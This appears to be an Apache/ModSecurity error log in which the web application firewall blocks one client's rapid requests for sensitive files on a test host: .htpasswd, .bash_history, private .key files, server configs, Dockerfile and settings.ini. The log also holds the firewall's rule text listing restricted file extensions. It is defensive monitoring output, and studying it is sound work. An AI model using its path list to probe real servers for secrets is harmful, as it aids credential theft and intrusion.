[Mon Jul 28 20:46:33.016999 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj6gAAAAc&quot;]
[Mon Jul 28 20:46:33.017216 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj6gAAAAc&quot;]
[Mon Jul 28 20:46:33.017400 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj6gAAAAc&quot;]
[Mon Jul 28 20:46:33.039751 2025] [authz_core:error] [pid 1533944] [client 185.177.72.201:61026] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htpasswd
[Mon Jul 28 20:46:33.062757 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.bash_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bash_history found within REQUEST_FILENAME: /.bash_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj7AAAAAc&quot;]
[Mon Jul 28 20:46:33.062990 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj7AAAAAc&quot;]
[Mon Jul 28 20:46:33.063161 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj7AAAAAc&quot;]
[Mon Jul 28 20:46:33.085801 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.bashrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bashrc found within REQUEST_FILENAME: /.bashrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj7QAAAAc&quot;]
[Mon Jul 28 20:46:33.086042 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj7QAAAAc&quot;]
[Mon Jul 28 20:46:33.086214 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj7QAAAAc&quot;]
[Mon Jul 28 20:46:33.181028 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj8QAAAAc&quot;]
[Mon Jul 28 20:46:33.181357 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj8QAAAAc&quot;]
[Mon Jul 28 20:46:33.181542 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj8QAAAAc&quot;]
[Mon Jul 28 20:46:33.203870 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj8gAAAAc&quot;]
[Mon Jul 28 20:46:33.204185 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj8gAAAAc&quot;]
[Mon Jul 28 20:46:33.204359 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj8gAAAAc&quot;]
[Mon Jul 28 20:46:33.273922 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfsigned.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj9QAAAAc&quot;]
[Mon Jul 28 20:46:33.274265 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfsigned.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj9QAAAAc&quot;]
[Mon Jul 28 20:46:33.274483 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfsigned.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj9QAAAAc&quot;]
[Mon Jul 28 20:46:33.296881 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj9gAAAAc&quot;]
[Mon Jul 28 20:46:33.297176 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj9gAAAAc&quot;]
[Mon Jul 28 20:46:33.297340 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj9gAAAAc&quot;]
[Mon Jul 28 20:46:33.320738 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpd.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj9wAAAAc&quot;]
[Mon Jul 28 20:46:33.321095 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpd.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj9wAAAAc&quot;]
[Mon Jul 28 20:46:33.321297 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpd.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj9wAAAAc&quot;]
[Mon Jul 28 20:46:33.367376 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj-QAAAAc&quot;]
[Mon Jul 28 20:46:33.367601 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj-QAAAAc&quot;]
[Mon Jul 28 20:46:33.367790 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj-QAAAAc&quot;]
[Mon Jul 28 20:46:33.526907 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj_wAAAAc&quot;]
[Mon Jul 28 20:46:33.527245 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj_wAAAAc&quot;]
[Mon Jul 28 20:46:33.527426 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhj_wAAAAc&quot;]
